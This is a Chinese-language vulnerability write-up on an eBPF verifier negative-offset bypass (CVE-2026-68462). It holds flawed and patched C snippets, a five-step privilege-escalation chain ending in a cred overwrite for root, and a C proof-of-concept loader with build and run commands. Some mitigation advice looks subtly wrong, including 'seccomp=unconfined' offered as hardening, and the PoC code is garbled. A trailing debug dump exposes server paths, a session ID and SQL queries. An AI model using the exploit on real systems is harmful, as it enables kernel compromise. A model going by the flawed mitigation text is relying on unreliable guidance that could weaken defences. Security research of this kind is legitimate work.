当前位置:首页>Linux>Linux Kernel eBPF验证器负偏移绕过导致本地提权漏洞深度分析

Linux Kernel eBPF验证器负偏移绕过导致本地提权漏洞深度分析

  • 2026-08-18 23:12:14
Linux Kernel eBPF验证器负偏移绕过导致本地提权漏洞深度分析
CVE-2026-68462CVSS 7.8 高危沙箱逃逸补丁已发布
漏洞概述
漏洞编号
CVE-2026-68462
漏洞类型
eBPF 验证器逻辑缺陷 (CWE-119: Improper Restriction of Operations within Bounds)
CVSS评分
7.8 高危 (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)
攻击向量
本地 (AV:L) — 需本地访问权限
认证要求
低权限 (PR:L) — 需要加载BPF程序的能力
用户交互
无需交互 (UI:N)
影响产品
Linux内核 eBPF 子系统(所有支持非特权BPF的版本)
引入提交
022ac0750883("bpf: use reg->var_off instead of reg->off for pointers")
修复提交
314bd592085cfd4cfa8c8f9a
技术细节

CVE-2026-68462 是 Linux 内核 eBPF (extended Berkeley Packet Filter) 验证器中的一个严重逻辑缺陷。eBPF 验证器是内核中确保 BPF 程序安全运行的核心组件,它在程序加载时静态分析指令流,验证所有内存访问均在合法边界内。验证器的正确性是整个 eBPF 沙箱隔离机制的基石——历史上每次验证器绕过都会导致本地权限提升。

该漏洞的根源可追溯至提交 022ac0750883,该提交将常量指针偏移量的存储位置从 reg->off迁移到 reg->var_off(tnum 类型)。然而,__check_buffer_access()函数在验证缓冲区访问边界时,仅检查了指令级偏移量(reg->off),而忽略了已通过 reg->var_off存储的常量偏移。这一不一致导致了一个可被利用的验证盲区。

C验证器漏洞核心代码分析
/* __check_buffer_access() 中的有界性检查逻辑 *//* 漏洞场景: PTR_TO_TP_BUFFER 或 PTR_TO_BUF 访问 *//* reg->var_off 存储常量偏移量 (由 022ac0750883 引入) *//* reg->off 存储指令级偏移量 *//* 攻击者构造的寄存器状态: *//*   reg->var_off = tnum_const(-8)   // 常量偏移: -8 *//*   reg->off     = 0                // 指令偏移: 0  *//* __check_buffer_access() 当前(有缺陷的)逻辑: */int__check_buffer_access(struct bpf_verifier_env *env,                            struct bpf_reg_state *reg,                            bool writable, u32 size) {     /* 仅检查 reg->off (指令偏移),忽略 reg->var_off */u32 insn_offset = reg->off;       /* = 0, 通过检查 *//* 计算访问起始位置 — 漏洞点 *//* 对于可写 raw tracepoint: */u32 access_start = (u32)reg->var_off.value;     /* var_off.value = -8 作为无符号数 = 0xFFFFFFFFFFFFFFF8 *//* 强制转换为 u32 后 = 0xFFFFFFF8 *//* 计算访问结束位置 */u32 access_end = access_start + size;     /* 0xFFFFFFF8 + 8 = 0x00000000 (回绕至0!) *//* 结束位置为0,不会超过 max_tp_access *//* 验证通过!程序被允许加载 */if (access_end > max_tp_access)         return -EACCES;  /* 永远不会触发 */return0;  /* 验证通过 */ } 

关键问题在于:当 reg->var_off为负数常量(如 -8)时,代码将其作为无符号值处理。一个起始于 -8 的 8 字节访问,其结束位置在整数回绕后变为 0,完美避开了所有边界检查。然而,在运行时,该 BPF 程序实际访问的内存地址为缓冲区基址减去 8 字节——即越过了缓冲区的起始边界,导致内核内存的越界读写。

C修复补丁 - 使用有符号算术验证
/* 修复: 使用有符号算术计算有效访问起始位置 */int__check_buffer_access_fixed(...) {     /* 修复: 确保 reg->var_off 为常量后,使用有符号算术 */if (!tnum_is_const(reg->var_off))         return -EINVAL;          /* 关键修复: 有符号计算有效起始位置 */s64 effective_start = (s64)reg->var_off.value                         + reg->off;          /* 拒绝负偏移访问 */if (effective_start <0) {         verbose(env, "negative buffer access at off %lld\n",                 effective_start);         return -EACCES;  /* 拒绝加载 */     }          /* 使用验证后的有效起始位置计算结束位置 */u64 access_end = (u64)effective_start + size;          if (access_end > max_tp_access)         return -EACCES;          return0; } 
攻击链分析
步骤一:环境准备
攻击者需具备加载 eBPF 程序的能力。在大多数 Linux 发行版中,非特权用户可以通过 bpf()系统调用加载 BPF 程序(除非设置了 kernel.unprivileged_bpf_disabled=1)。攻击者首先需要确认目标系统允许非特权 BPF 加载。
步骤二:构造恶意BPF程序
编写一个 BPF 程序,通过指针算术运算构造 reg->var_off = -8且 reg->off = 0的寄存器状态。程序类型设置为 BPF_PROG_TYPE_RAW_TRACEPOINT,目标访问一个可写的 raw tracepoint 缓冲区。
步骤三:通过验证器加载
由于验证器仅检查 reg->off(值为0),而忽略 reg->var_off(值为-8),访问结束位置经无符号运算回绕为0,通过所有边界检查。BPF 程序成功加载到内核并获得文件描述符。
步骤四:触发越界访问
将加载的 BPF 程序附加到目标 raw tracepoint。当 tracepoint 事件触发时,BPF 程序在内核上下文中执行,通过精心构造的负偏移访问缓冲区前 8 字节之外的内核内存,实现内核数据结构的越界读写。
步骤五:内核原语构建与提权
利用越界读写能力,攻击者可以:(1) 读取内核指针获取 KASLR 偏移量;(2) 覆写 cred结构体中的 UID/GID 字段实现权限提升;(3) 或覆写 task_struct中的指针接管任意进程。最终获得 root 权限,完成本地权限提升攻击。
PoC / 利用代码
⚠ 仅供安全研究
以下代码仅用于安全研究和授权测试。此 PoC 展示了验证器绕过的核心原理,完整利用链需结合 KASLR 绕过和 cred 覆写技术。
CeBPF验证器绕过 PoC - BPF程序构造
/* CVE-2026-68462 PoC - eBPF Verifier Negative Offset Bypass *//* 仅供安全研究,必须在授权隔离环境中运行 */#include<linux/bpf.h>#include<bpf/bpf_helpers.h>#include<stdio.h>#include<unistd.h>#include<string.h>#include<sys/syscall.h>/* BPF指令构造: 通过指针算术生成负偏移 */struct bpf_insn exploit_prog[] = {     /* r6 = ctx (raw tracepoint context) */BPF_MOV64_REG(BPF_REG_6BPF_REG_1),          /* r7 = 指向 tracepoint 缓冲区 */BPF_LDX_MEM(BPF_DWBPF_REG_7BPF_REG_60),          /* 关键: 通过指针算术构造负偏移 *//* r7 += -8  →  reg->var_off = tnum_const(-8) *//*             reg->off = 0 (指令偏移未变) */BPF_ALU64_IMM(BPF_ADDBPF_REG_7-8),          /* 越界写入: 写入缓冲区起始前 8 字节 *//* 验证器认为: start=0xFFFFFFF8, end=0x0 *//* 实际运行时: 访问 base_addr - 8 */BPF_ST_MEM(BPF_DWBPF_REG_700xdeadbeef),          /* 读取内核内存(越界读取基址前8字节) */BPF_LDX_MEM(BPF_DWBPF_REG_0BPF_REG_70),          /* 存储读取的内核数据到 map */BPF_STX_MEM(BPF_DWBPF_REG_10BPF_REG_0-8),          BPF_MOV64_IMM(BPF_REG_00),     BPF_EXIT_INSN(), };  intmain(int argc, char**argv) {     union bpf_attr attr = {};          /* 创建 BPF map 存储泄露数据 */     attr.map_type =BPF_MAP_TYPE_ARRAY;     attr.key_size =sizeof(int);     attr.value_size =sizeof(long);     attr.max_entries =1;          int map_fd =syscall(__NR_bpfBPF_MAP_CREATE&attr, sizeof(attr));     if (map_fd <0) {         perror("map_create");         return1;     }          /* 加载恶意 BPF 程序 */memset(&attr, 0sizeof(attr));     attr.prog_type =BPF_PROG_TYPE_RAW_TRACEPOINT;     attr.insns = (unsigned long)exploit_prog;     attr.insn_cnt =sizeof(exploit_prog) /sizeof(exploit_prog[0]);     attr.license = (unsigned long)"GPL";          int prog_fd =syscall(__NR_bpfBPF_PROG_LOAD&attr, sizeof(attr));     if (prog_fd <0) {         perror("prog_load (expected success on unpatched kernel)");         return1;     }          printf("[+] BPF程序加载成功! 验证器被绕过。\n");     printf("[+] prog_fd = %d\n", prog_fd);     printf("[!] 附加到raw tracepoint后可实现越界读写\n");     printf("[!] 配合KASLR绕过+cred覆写可获得root权限\n");          return0; } 
Bash编译与检测
# 编译 PoCgcc-o bpf_verifier_bypass bpf_verifier_bypass.c -lbpf# 在非特权BPF启用状态下运行./bpf_verifier_bypass[+] BPF程序加载成功! 验证器被绕过。[+] prog_fd = 5[!] 附加到raw tracepoint后可实现越界读写# 检测方法: 检查内核版本是否包含修复补丁uname-r6.10.5-100.fc40.x86_64# 检查非特权BPF是否启用sysctl kernel.unprivileged_bpf_disabled kernel.unprivileged_bpf_disabled = 0# 0 = 未禁用 (受影响)# 紧急缓解: 禁用非特权BPF加载sudo sysctl-w kernel.unprivileged_bpf_disabled=1 
影响范围
所有 Linux 发行版— 内核版本包含提交 022ac0750883至修复提交之间的所有 Linux 内核均受影响
容器运行环境— Docker、Kubernetes 等容器环境中,非特权容器若可加载 eBPF 程序则存在逃逸风险
云服务商基础设施— AWS、Azure、GCP 等云平台中运行 Linux 的虚拟机,尤其是启用非特权 BPF 的实例
Cilium / eBPF 网络安全产品— 依赖 eBPF 实现网络策略和可观测性的安全产品(如 Cilium CNI)所在的宿主机
安全监控与EDR系统— 使用 eBPF 进行进程监控、文件审计的终端检测响应(EDR)产品宿主机
Android 设备— 部分 Android 版本允许非特权应用加载 BPF 程序,可通过 ADB 或恶意应用触发
防御指南
修复与缓解
  • 立即升级至包含修复提交 314bd592085c或 fd4cfa8c8f9a的最新 Linux 内核稳定版本
  • 紧急缓解措施:通过 sysctl 禁用非特权 BPF 加载:sysctl -w kernel.unprivileged_bpf_disabled=1
  • 在 systemd 服务中为关键服务添加 RestrictAddressFamilies=~AF_UNIX和 BPF 相关安全策略
  • 使用 SELinux/AppArmor 策略限制 BPF 程序加载权限,仅允许受信任的管理员操作
  • 部署 eBPF 审计工具监控异常的 BPF 程序加载行为,特别关注 raw tracepoint 类型的程序
  • 容器环境应使用 --security-opt=seccomp=unconfined的反向策略,通过 seccomp-bpf 过滤 bpf()系统调用
  • 对生产环境的内核进行加固:启用 CONFIG_BPF_UNPRIV_DEFAULT_OFF=y编译选项
⚡ 紧急建议
eBPF 验证器绕过漏洞是 Linux 本地提权攻击的经典向量。历史上类似漏洞(如 CVE-2021-3490、CVE-2023-2163)从公开到武器化的时间平均仅为 12 天。建议所有启用非特权 BPF 的系统立即应用补丁或禁用非特权加载。在容器和多租户环境中,此漏洞可能导致沙箱逃逸,影响尤为严重。
法律声明
以上信息仅供安全研究和授权渗透测试使用。未经授权对他人系统进行测试属于违法行为。本文中的 PoC 代码仅用于概念验证,旨在帮助安全研究人员理解漏洞原理并开发相应的防御措施。任何因滥用本文信息造成的损害,作者不承担任何责任。请在法律允许的范围内使用相关信息。

最新文章

随机文章

基本 文件 流程 错误 SQL 调试
  1. 请求信息 : 2026-08-21 16:44:10 HTTP/2.0 GET : https://f.mffb.com.cn/a/511043.html
  2. 运行时间 : 0.251711s [ 吞吐率:3.97req/s ] 内存消耗:4,578.20kb 文件加载:140
  3. 缓存信息 : 0 reads,0 writes
  4. 会话信息 : SESSION_ID=e6fa1b87ac25e27ea5cf296df9e74f28
  1. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/public/index.php ( 0.79 KB )
  2. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/autoload.php ( 0.17 KB )
  3. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/composer/autoload_real.php ( 2.49 KB )
  4. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/composer/platform_check.php ( 0.90 KB )
  5. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/composer/ClassLoader.php ( 14.03 KB )
  6. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/composer/autoload_static.php ( 4.90 KB )
  7. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-helper/src/helper.php ( 8.34 KB )
  8. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-validate/src/helper.php ( 2.19 KB )
  9. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/helper.php ( 1.47 KB )
  10. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/stubs/load_stubs.php ( 0.16 KB )
  11. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Exception.php ( 1.69 KB )
  12. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-container/src/Facade.php ( 2.71 KB )
  13. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/symfony/deprecation-contracts/function.php ( 0.99 KB )
  14. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/symfony/polyfill-mbstring/bootstrap.php ( 8.26 KB )
  15. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/symfony/polyfill-mbstring/bootstrap80.php ( 9.78 KB )
  16. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/symfony/var-dumper/Resources/functions/dump.php ( 1.49 KB )
  17. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-dumper/src/helper.php ( 0.18 KB )
  18. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/symfony/var-dumper/VarDumper.php ( 4.30 KB )
  19. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/App.php ( 15.30 KB )
  20. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-container/src/Container.php ( 15.76 KB )
  21. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/psr/container/src/ContainerInterface.php ( 1.02 KB )
  22. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/provider.php ( 0.19 KB )
  23. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Http.php ( 6.04 KB )
  24. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-helper/src/helper/Str.php ( 7.29 KB )
  25. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Env.php ( 4.68 KB )
  26. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/common.php ( 0.03 KB )
  27. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/helper.php ( 18.78 KB )
  28. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Config.php ( 5.54 KB )
  29. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/app.php ( 0.95 KB )
  30. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/cache.php ( 0.78 KB )
  31. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/console.php ( 0.23 KB )
  32. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/cookie.php ( 0.56 KB )
  33. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/database.php ( 2.48 KB )
  34. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/facade/Env.php ( 1.67 KB )
  35. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/filesystem.php ( 0.61 KB )
  36. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/lang.php ( 0.91 KB )
  37. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/log.php ( 1.35 KB )
  38. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/middleware.php ( 0.19 KB )
  39. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/route.php ( 1.89 KB )
  40. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/session.php ( 0.57 KB )
  41. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/trace.php ( 0.34 KB )
  42. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/view.php ( 0.82 KB )
  43. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/event.php ( 0.25 KB )
  44. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Event.php ( 7.67 KB )
  45. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/service.php ( 0.13 KB )
  46. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/AppService.php ( 0.26 KB )
  47. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Service.php ( 1.64 KB )
  48. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Lang.php ( 7.35 KB )
  49. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/lang/zh-cn.php ( 13.70 KB )
  50. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/initializer/Error.php ( 3.31 KB )
  51. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/initializer/RegisterService.php ( 1.33 KB )
  52. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/services.php ( 0.14 KB )
  53. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/service/PaginatorService.php ( 1.52 KB )
  54. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/service/ValidateService.php ( 0.99 KB )
  55. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/service/ModelService.php ( 2.04 KB )
  56. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-trace/src/Service.php ( 0.77 KB )
  57. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Middleware.php ( 6.72 KB )
  58. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/initializer/BootService.php ( 0.77 KB )
  59. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/Paginator.php ( 11.86 KB )
  60. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-validate/src/Validate.php ( 63.20 KB )
  61. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/Model.php ( 23.55 KB )
  62. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/model/concern/Attribute.php ( 21.05 KB )
  63. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/model/concern/AutoWriteData.php ( 4.21 KB )
  64. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/model/concern/Conversion.php ( 6.44 KB )
  65. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/model/concern/DbConnect.php ( 5.16 KB )
  66. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/model/concern/ModelEvent.php ( 2.33 KB )
  67. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/model/concern/RelationShip.php ( 28.29 KB )
  68. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-helper/src/contract/Arrayable.php ( 0.09 KB )
  69. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-helper/src/contract/Jsonable.php ( 0.13 KB )
  70. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/model/contract/Modelable.php ( 0.09 KB )
  71. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Db.php ( 2.88 KB )
  72. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/DbManager.php ( 8.52 KB )
  73. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Log.php ( 6.28 KB )
  74. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Manager.php ( 3.92 KB )
  75. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/psr/log/src/LoggerTrait.php ( 2.69 KB )
  76. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/psr/log/src/LoggerInterface.php ( 2.71 KB )
  77. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Cache.php ( 4.92 KB )
  78. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/psr/simple-cache/src/CacheInterface.php ( 4.71 KB )
  79. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-helper/src/helper/Arr.php ( 16.63 KB )
  80. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/cache/driver/File.php ( 7.84 KB )
  81. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/cache/Driver.php ( 9.03 KB )
  82. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/contract/CacheHandlerInterface.php ( 1.99 KB )
  83. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/Request.php ( 0.09 KB )
  84. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Request.php ( 55.78 KB )
  85. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/middleware.php ( 0.25 KB )
  86. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Pipeline.php ( 2.61 KB )
  87. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-trace/src/TraceDebug.php ( 3.40 KB )
  88. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/middleware/SessionInit.php ( 1.94 KB )
  89. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Session.php ( 1.80 KB )
  90. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/session/driver/File.php ( 6.27 KB )
  91. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/contract/SessionHandlerInterface.php ( 0.87 KB )
  92. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/session/Store.php ( 7.12 KB )
  93. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Route.php ( 23.73 KB )
  94. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/route/RuleName.php ( 5.75 KB )
  95. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/route/Domain.php ( 2.53 KB )
  96. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/route/RuleGroup.php ( 22.43 KB )
  97. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/route/Rule.php ( 26.95 KB )
  98. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/route/RuleItem.php ( 9.78 KB )
  99. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/route/app.php ( 1.72 KB )
  100. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/facade/Route.php ( 4.70 KB )
  101. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/route/dispatch/Controller.php ( 4.74 KB )
  102. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/route/Dispatch.php ( 10.44 KB )
  103. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/controller/Index.php ( 4.81 KB )
  104. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/BaseController.php ( 2.05 KB )
  105. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/facade/Db.php ( 0.93 KB )
  106. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/connector/Mysql.php ( 5.44 KB )
  107. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/PDOConnection.php ( 52.47 KB )
  108. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/Connection.php ( 8.39 KB )
  109. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/ConnectionInterface.php ( 4.57 KB )
  110. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/builder/Mysql.php ( 16.58 KB )
  111. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/Builder.php ( 24.06 KB )
  112. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/BaseBuilder.php ( 27.50 KB )
  113. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/Query.php ( 15.71 KB )
  114. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/BaseQuery.php ( 45.13 KB )
  115. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/TimeFieldQuery.php ( 7.43 KB )
  116. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/AggregateQuery.php ( 3.26 KB )
  117. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/ModelRelationQuery.php ( 20.07 KB )
  118. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/ParamsBind.php ( 3.66 KB )
  119. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/ResultOperation.php ( 7.01 KB )
  120. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/WhereQuery.php ( 19.37 KB )
  121. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/JoinAndViewQuery.php ( 7.11 KB )
  122. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/TableFieldInfo.php ( 2.63 KB )
  123. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/Transaction.php ( 2.77 KB )
  124. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/log/driver/File.php ( 5.96 KB )
  125. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/contract/LogHandlerInterface.php ( 0.86 KB )
  126. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/log/Channel.php ( 3.89 KB )
  127. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/event/LogRecord.php ( 1.02 KB )
  128. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-helper/src/Collection.php ( 16.47 KB )
  129. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/facade/View.php ( 1.70 KB )
  130. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/View.php ( 4.39 KB )
  131. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Response.php ( 8.81 KB )
  132. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/response/View.php ( 3.29 KB )
  133. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Cookie.php ( 6.06 KB )
  134. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-view/src/Think.php ( 8.38 KB )
  135. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/contract/TemplateHandlerInterface.php ( 1.60 KB )
  136. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-template/src/Template.php ( 46.61 KB )
  137. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-template/src/template/driver/File.php ( 2.41 KB )
  138. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-template/src/template/contract/DriverInterface.php ( 0.86 KB )
  139. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/runtime/temp/067d451b9a0c665040f3f1bdd3293d68.php ( 11.98 KB )
  140. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-trace/src/Html.php ( 4.42 KB )
  1. CONNECT:[ UseTime:0.001279s ] mysql:host=127.0.0.1;port=3306;dbname=f_mffb;charset=utf8mb4
  2. SHOW FULL COLUMNS FROM `fenlei` [ RunTime:0.001734s ]
  3. SELECT * FROM `fenlei` WHERE `fid` = 0 [ RunTime:0.000735s ]
  4. SELECT * FROM `fenlei` WHERE `fid` = 63 [ RunTime:0.000687s ]
  5. SHOW FULL COLUMNS FROM `set` [ RunTime:0.001427s ]
  6. SELECT * FROM `set` [ RunTime:0.000634s ]
  7. SHOW FULL COLUMNS FROM `article` [ RunTime:0.001487s ]
  8. SELECT * FROM `article` WHERE `id` = 511043 LIMIT 1 [ RunTime:0.024754s ]
  9. UPDATE `article` SET `lasttime` = 1787301850 WHERE `id` = 511043 [ RunTime:0.029708s ]
  10. SELECT * FROM `fenlei` WHERE `id` = 67 LIMIT 1 [ RunTime:0.000688s ]
  11. SELECT * FROM `article` WHERE `id` < 511043 ORDER BY `id` DESC LIMIT 1 [ RunTime:0.001140s ]
  12. SELECT * FROM `article` WHERE `id` > 511043 ORDER BY `id` ASC LIMIT 1 [ RunTime:0.001096s ]
  13. SELECT * FROM `article` WHERE `id` < 511043 ORDER BY `id` DESC LIMIT 10 [ RunTime:0.004335s ]
